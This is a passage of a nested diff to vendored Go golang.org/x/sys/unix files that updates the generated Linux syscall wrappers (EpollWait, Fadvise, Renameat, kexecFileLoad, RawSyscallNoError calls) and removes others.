-+ _, _, e1 := Syscall6(SYS_FALLOCATE, uintptr(fd), uintptr(mode), uintptr(off), uintptr(len), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1265,120 +45,14 @@ func Tee(rfd int, wfd int, len int, flags int) (n int64, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Tgkill(tgid int, tid int, sig syscall.Signal) (err error) {
-- _, _, e1 := RawSyscall(SYS_TGKILL, uintptr(tgid), uintptr(tid), uintptr(sig))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Times(tms *Tms) (ticks uintptr, err error) {
-- r0, _, e1 := RawSyscall(SYS_TIMES, uintptr(unsafe.Pointer(tms)), 0, 0)
-- ticks = uintptr(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Umask(mask int) (oldmask int) {
-- r0, _, _ := RawSyscall(SYS_UMASK, uintptr(mask), 0, 0)
-- oldmask = int(r0)
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Uname(buf *Utsname) (err error) {
-- _, _, e1 := RawSyscall(SYS_UNAME, uintptr(unsafe.Pointer(buf)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Unmount(target string, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(target)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_UMOUNT2, uintptr(unsafe.Pointer(_p0)), uintptr(flags), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Unshare(flags int) (err error) {
-- _, _, e1 := Syscall(SYS_UNSHARE, uintptr(flags), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Ustat(dev int, ubuf *Ustat_t) (err error) {
-- _, _, e1 := Syscall(SYS_USTAT, uintptr(dev), uintptr(unsafe.Pointer(ubuf)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func write(fd int, p []byte) (n int, err error) {
-+func EpollWait(epfd int, events []EpollEvent, msec int) (n int, err error) {
- var _p0 unsafe.Pointer
-- if len(p) > 0 {
-- _p0 = unsafe.Pointer(&p[0])
-+ if len(events) > 0 {
-+ _p0 = unsafe.Pointer(&events[0])
- } else {
- _p0 = unsafe.Pointer(&_zero)
- }
-- r0, _, e1 := Syscall(SYS_WRITE, uintptr(fd), uintptr(_p0), uintptr(len(p)))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func exitThread(code int) (err error) {
-- _, _, e1 := Syscall(SYS_EXIT, uintptr(code), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func readlen(fd int, p *byte, np int) (n int, err error) {
-- r0, _, e1 := Syscall(SYS_READ, uintptr(fd), uintptr(unsafe.Pointer(p)), uintptr(np))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func writelen(fd int, p *byte, np int) (n int, err error) {
-- r0, _, e1 := Syscall(SYS_WRITE, uintptr(fd), uintptr(unsafe.Pointer(p)), uintptr(np))
-+ r0, _, e1 := Syscall6(SYS_EPOLL_PWAIT, uintptr(epfd), uintptr(_p0), uintptr(len(events)), uintptr(msec), 0, 0)
- n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -1388,125 +62,8 @@ func writelen(fd int, p *byte, np int) (n int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func munmap(addr uintptr, length uintptr) (err error) {
-- _, _, e1 := Syscall(SYS_MUNMAP, uintptr(addr), uintptr(length), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Madvise(b []byte, advice int) (err error) {
-- var _p0 unsafe.Pointer
-- if len(b) > 0 {
-- _p0 = unsafe.Pointer(&b[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_MADVISE, uintptr(_p0), uintptr(len(b)), uintptr(advice))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Mprotect(b []byte, prot int) (err error) {
-- var _p0 unsafe.Pointer
-- if len(b) > 0 {
-- _p0 = unsafe.Pointer(&b[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_MPROTECT, uintptr(_p0), uintptr(len(b)), uintptr(prot))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Mlock(b []byte) (err error) {
-- var _p0 unsafe.Pointer
-- if len(b) > 0 {
-- _p0 = unsafe.Pointer(&b[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_MLOCK, uintptr(_p0), uintptr(len(b)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Munlock(b []byte) (err error) {
-- var _p0 unsafe.Pointer
-- if len(b) > 0 {
-- _p0 = unsafe.Pointer(&b[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_MUNLOCK, uintptr(_p0), uintptr(len(b)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Mlockall(flags int) (err error) {
-- _, _, e1 := Syscall(SYS_MLOCKALL, uintptr(flags), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Msync(b []byte, flags int) (err error) {
-- var _p0 unsafe.Pointer
-- if len(b) > 0 {
-- _p0 = unsafe.Pointer(&b[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_MSYNC, uintptr(_p0), uintptr(len(b)), uintptr(flags))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Munlockall() (err error) {
-- _, _, e1 := Syscall(SYS_MUNLOCKALL, 0, 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func EpollWait(epfd int, events []EpollEvent, msec int) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(events) > 0 {
-- _p0 = unsafe.Pointer(&events[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_EPOLL_PWAIT, uintptr(epfd), uintptr(_p0), uintptr(len(events)), uintptr(msec), 0, 0)
-- n = int(r0)
-+func Fadvise(fd int, offset int64, length int64, advice int) (err error) {
-+ _, _, e1 := Syscall6(SYS_FADVISE64, uintptr(fd), uintptr(offset), uintptr(length), uintptr(advice), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1571,7 +128,7 @@ func Ftruncate(fd int, length int64) (err error) {
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getegid() (egid int) {
-- r0, _, _ := RawSyscall(SYS_GETEGID, 0, 0, 0)
-+ r0, _ := RawSyscallNoError(SYS_GETEGID, 0, 0, 0)
- egid = int(r0)
- return
- }
-@@ -1579,7 +136,7 @@ func Getegid() (egid int) {
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Geteuid() (euid int) {
-- r0, _, _ := RawSyscall(SYS_GETEUID, 0, 0, 0)
-+ r0, _ := RawSyscallNoError(SYS_GETEUID, 0, 0, 0)
- euid = int(r0)
- return
- }
-@@ -1587,7 +144,7 @@ func Geteuid() (euid int) {
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getgid() (gid int) {
-- r0, _, _ := RawSyscall(SYS_GETGID, 0, 0, 0)
-+ r0, _ := RawSyscallNoError(SYS_GETGID, 0, 0, 0)
- gid = int(r0)
- return
- }
-@@ -1605,7 +162,7 @@ func Getrlimit(resource int, rlim *Rlimit) (err error) {
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getuid() (uid int) {
-- r0, _, _ := RawSyscall(SYS_GETUID, 0, 0, 0)
-+ r0, _ := RawSyscallNoError(SYS_GETUID, 0, 0, 0)
- uid = int(r0)
- return
- }
-@@ -1656,9 +213,18 @@ func Pwrite(fd int, p []byte, offset int64) (n int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Seek(fd int, offset int64, whence int) (off int64, err error) {
-- r0, _, e1 := Syscall(SYS_LSEEK, uintptr(fd), uintptr(offset), uintptr(whence))
-- off = int64(r0)
-+func Renameat(olddirfd int, oldpath string, newdirfd int, newpath string) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(oldpath)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 *byte
-+ _p1, err = BytePtrFromString(newpath)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_RENAMEAT, uintptr(olddirfd), uintptr(unsafe.Pointer(_p0)), uintptr(newdirfd), uintptr(unsafe.Pointer(_p1)), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1667,9 +233,9 @@ func Seek(fd int, offset int64, whence int) (off int64, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Select(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (n int, err error) {
-- r0, _, e1 := Syscall6(SYS_PSELECT6, uintptr(nfd), uintptr(unsafe.Pointer(r)), uintptr(unsafe.Pointer(w)), uintptr(unsafe.Pointer(e)), uintptr(unsafe.Pointer(timeout)), 0)
-- n = int(r0)
-+func Seek(fd int, offset int64, whence int) (off int64, err error) {
-+ r0, _, e1 := Syscall(SYS_LSEEK, uintptr(fd), uintptr(offset), uintptr(whence))
-+ off = int64(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1689,8 +255,9 @@ func sendfile(outfd int, infd int, offset *int64, count int) (written int, err e
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Setfsgid(gid int) (err error) {
-- _, _, e1 := Syscall(SYS_SETFSGID, uintptr(gid), 0, 0)
-+func setfsgid(gid int) (prev int, err error) {
-+ r0, _, e1 := Syscall(SYS_SETFSGID, uintptr(gid), 0, 0)
-+ prev = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1699,8 +266,9 @@ func Setfsgid(gid int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Setfsuid(uid int) (err error) {
-- _, _, e1 := Syscall(SYS_SETFSUID, uintptr(uid), 0, 0)
-+func setfsuid(uid int) (prev int, err error) {
-+ r0, _, e1 := Syscall(SYS_SETFSUID, uintptr(uid), 0, 0)
-+ prev = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -2020,8 +588,13 @@ func Gettimeofday(tv *Timeval) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func pipe2(p *[2]_C_int, flags int) (err error) {
-- _, _, e1 := RawSyscall(SYS_PIPE2, uintptr(unsafe.Pointer(p)), uintptr(flags), 0)
-+func kexecFileLoad(kernelFd int, initrdFd int, cmdlineLen int, cmdline string, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(cmdline)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_KEXEC_FILE_LOAD, uintptr(kernelFd), uintptr(initrdFd), uintptr(cmdlineLen), uintptr(unsafe.Pointer(_p0)), uintptr(flags), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-diff --git a/vendor/golang.org/x/sys/unix/zsyscall_linux_mips.go b/vendor/golang.org/x/sys/unix/zsyscall_linux_mips.go
-index 9f194dc4..aecbbca7 100644
---- a/vendor/golang.org/x/sys/unix/zsyscall_linux_mips.go
-+++ b/vendor/golang.org/x/sys/unix/zsyscall_linux_mips.go
-@@ -1,4 +1,4 @@
--// mksyscall.pl -b32 -arm -tags linux,mips syscall_linux.go syscall_linux_mipsx.go
-+// go run mksyscall.go -b32 -arm -tags linux,mips syscall_linux.go syscall_linux_mipsx.go
- // Code generated by the command above; see README.md. DO NOT EDIT.
-
- // +build linux,mips
-@@ -14,1228 +14,8 @@ var _ syscall.Errno
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func fchmodat(dirfd int, path string, mode uint32) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_FCHMODAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func ioctl(fd int, req uint, arg uintptr) (err error) {
-- _, _, e1 := Syscall(SYS_IOCTL, uintptr(fd), uintptr(req), uintptr(arg))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Linkat(olddirfd int, oldpath string, newdirfd int, newpath string, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(oldpath)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(newpath)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_LINKAT, uintptr(olddirfd), uintptr(unsafe.Pointer(_p0)), uintptr(newdirfd), uintptr(unsafe.Pointer(_p1)), uintptr(flags), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func openat(dirfd int, path string, flags int, mode uint32) (fd int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- r0, _, e1 := Syscall6(SYS_OPENAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(flags), uintptr(mode), 0, 0)
-- fd = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func ppoll(fds *PollFd, nfds int, timeout *Timespec, sigmask *Sigset_t) (n int, err error) {
-- r0, _, e1 := Syscall6(SYS_PPOLL, uintptr(unsafe.Pointer(fds)), uintptr(nfds), uintptr(unsafe.Pointer(timeout)), uintptr(unsafe.Pointer(sigmask)), 0, 0)
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Readlinkat(dirfd int, path string, buf []byte) (n int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 unsafe.Pointer
-- if len(buf) > 0 {
-- _p1 = unsafe.Pointer(&buf[0])
-- } else {
-- _p1 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_READLINKAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(_p1), uintptr(len(buf)), 0, 0)
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Symlinkat(oldpath string, newdirfd int, newpath string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(oldpath)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(newpath)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_SYMLINKAT, uintptr(unsafe.Pointer(_p0)), uintptr(newdirfd), uintptr(unsafe.Pointer(_p1)))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Unlinkat(dirfd int, path string, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_UNLINKAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(flags))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func utimes(path string, times *[2]Timeval) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_UTIMES, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(times)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func utimensat(dirfd int, path string, times *[2]Timespec, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_UTIMENSAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(times)), uintptr(flags), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func futimesat(dirfd int, path *byte, times *[2]Timeval) (err error) {
-- _, _, e1 := Syscall(SYS_FUTIMESAT, uintptr(dirfd), uintptr(unsafe.Pointer(path)), uintptr(unsafe.Pointer(times)))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getcwd(buf []byte) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_GETCWD, uintptr(_p0), uintptr(len(buf)), 0)
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func wait4(pid int, wstatus *_C_int, options int, rusage *Rusage) (wpid int, err error) {
-- r0, _, e1 := Syscall6(SYS_WAIT4, uintptr(pid), uintptr(unsafe.Pointer(wstatus)), uintptr(options), uintptr(unsafe.Pointer(rusage)), 0, 0)
-- wpid = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func KeyctlInt(cmd int, arg2 int, arg3 int, arg4 int, arg5 int) (ret int, err error) {
-- r0, _, e1 := Syscall6(SYS_KEYCTL, uintptr(cmd), uintptr(arg2), uintptr(arg3), uintptr(arg4), uintptr(arg5), 0)
-- ret = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func KeyctlBuffer(cmd int, arg2 int, buf []byte, arg5 int) (ret int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_KEYCTL, uintptr(cmd), uintptr(arg2), uintptr(_p0), uintptr(len(buf)), uintptr(arg5), 0)
-- ret = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func keyctlJoin(cmd int, arg2 string) (ret int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(arg2)
-- if err != nil {
-- return
-- }
-- r0, _, e1 := Syscall(SYS_KEYCTL, uintptr(cmd), uintptr(unsafe.Pointer(_p0)), 0)
-- ret = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func keyctlSearch(cmd int, arg2 int, arg3 string, arg4 string, arg5 int) (ret int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(arg3)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(arg4)
-- if err != nil {
-- return
-- }
-- r0, _, e1 := Syscall6(SYS_KEYCTL, uintptr(cmd), uintptr(arg2), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(arg5), 0)
-- ret = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func keyctlIOV(cmd int, arg2 int, payload []Iovec, arg5 int) (err error) {
-- var _p0 unsafe.Pointer
-- if len(payload) > 0 {
-- _p0 = unsafe.Pointer(&payload[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall6(SYS_KEYCTL, uintptr(cmd), uintptr(arg2), uintptr(_p0), uintptr(len(payload)), uintptr(arg5), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func keyctlDH(cmd int, arg2 *KeyctlDHParams, buf []byte) (ret int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_KEYCTL, uintptr(cmd), uintptr(unsafe.Pointer(arg2)), uintptr(_p0), uintptr(len(buf)), 0, 0)
-- ret = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func ptrace(request int, pid int, addr uintptr, data uintptr) (err error) {
-- _, _, e1 := Syscall6(SYS_PTRACE, uintptr(request), uintptr(pid), uintptr(addr), uintptr(data), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func reboot(magic1 uint, magic2 uint, cmd int, arg string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(arg)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_REBOOT, uintptr(magic1), uintptr(magic2), uintptr(cmd), uintptr(unsafe.Pointer(_p0)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func mount(source string, target string, fstype string, flags uintptr, data *byte) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(source)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(target)
-- if err != nil {
-- return
-- }
-- var _p2 *byte
-- _p2, err = BytePtrFromString(fstype)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_MOUNT, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(unsafe.Pointer(_p2)), uintptr(flags), uintptr(unsafe.Pointer(data)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Acct(path string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_ACCT, uintptr(unsafe.Pointer(_p0)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func AddKey(keyType string, description string, payload []byte, ringid int) (id int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(keyType)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(description)
-- if err != nil {
-- return
-- }
-- var _p2 unsafe.Pointer
-- if len(payload) > 0 {
-- _p2 = unsafe.Pointer(&payload[0])
-- } else {
-- _p2 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_ADD_KEY, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(_p2), uintptr(len(payload)), uintptr(ringid), 0)
-- id = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Adjtimex(buf *Timex) (state int, err error) {
-- r0, _, e1 := Syscall(SYS_ADJTIMEX, uintptr(unsafe.Pointer(buf)), 0, 0)
-- state = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Chdir(path string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_CHDIR, uintptr(unsafe.Pointer(_p0)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Chroot(path string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_CHROOT, uintptr(unsafe.Pointer(_p0)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func ClockGettime(clockid int32, time *Timespec) (err error) {
-- _, _, e1 := Syscall(SYS_CLOCK_GETTIME, uintptr(clockid), uintptr(unsafe.Pointer(time)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Close(fd int) (err error) {
-- _, _, e1 := Syscall(SYS_CLOSE, uintptr(fd), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func CopyFileRange(rfd int, roff *int64, wfd int, woff *int64, len int, flags int) (n int, err error) {
-- r0, _, e1 := Syscall6(SYS_COPY_FILE_RANGE, uintptr(rfd), uintptr(unsafe.Pointer(roff)), uintptr(wfd), uintptr(unsafe.Pointer(woff)), uintptr(len), uintptr(flags))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Dup(oldfd int) (fd int, err error) {
-- r0, _, e1 := Syscall(SYS_DUP, uintptr(oldfd), 0, 0)
-- fd = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Dup3(oldfd int, newfd int, flags int) (err error) {
-- _, _, e1 := Syscall(SYS_DUP3, uintptr(oldfd), uintptr(newfd), uintptr(flags))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func EpollCreate(size int) (fd int, err error) {
